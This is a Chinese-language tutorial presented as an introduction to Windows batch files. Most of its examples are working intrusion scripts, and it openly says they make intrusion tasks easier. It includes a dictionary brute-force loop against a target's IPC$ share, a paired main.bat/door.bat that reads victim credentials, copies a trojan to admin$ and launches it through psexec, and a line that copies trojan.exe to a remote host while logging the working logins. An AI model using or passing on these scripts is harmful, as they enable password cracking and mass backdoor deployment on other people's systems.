简介:本指南将教你如何创建和编辑批处理文件,这是一种用于自动执行一系列命令行操作的脚本。通过简单的文本编辑器编写,适用于Windows系统。
批处理文件可以用来简化日常或重复性任务,在入侵活动中也能发挥重要作用。例如使用`for /f`命令来暴力破解密码或者批量部署后门。
以下是一些具体示例:
1. 利用For循环进行暴力密码破解:
```batch
for /f tokens=* %%i in (dict.txt) do net use \\目标IP\ipc$ %%i /u:administrator | find :命令成功完成>>ok.txt
```
2. 批量部署后门和木马:
主脚本main.bat:
```batch
@echo off
if %1== goto usage
for /f tokens=1,2,3 delims= %%i in (victim.txt) do start call door.bat %%i %%j %%k
goto end
:usage
echo run this batch in dos mode or just double-click it.
:end
```
子脚本door.bat:
```batch
@net use \\%1\ipc$ %3 /u:%2
if errorlevel 1 goto failed
copy windrv32.exe \\%1\admin$\system32
psexec \\%1 c:\winnt\system32\windrv32.exe
psexec \\%1 net start windrv32 && echo %1 Backdoored >>ko.txt
:failed
echo Sorry can not connected to the victim.
```
这两个脚本配合可以自动批量部署后门,提高效率。
在批处理中还可以使用参数来传递变量。例如:
```batch
@echo off
if %1==a format a:
goto end
:end
```
这个例子用于连续格式化多张软盘,调用时需要输入`fomat.bat a`命令指定驱动器。
组合命令也可以在批处理中使用来执行一系列操作:
```batch
copy trojan.exe \\目标IP\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
```
这段代码会尝试复制木马文件到远程主机,并将成功连接的信息记录下来。
通过这些示例可以看出,批处理脚本可以极大简化入侵过程中的重复性任务。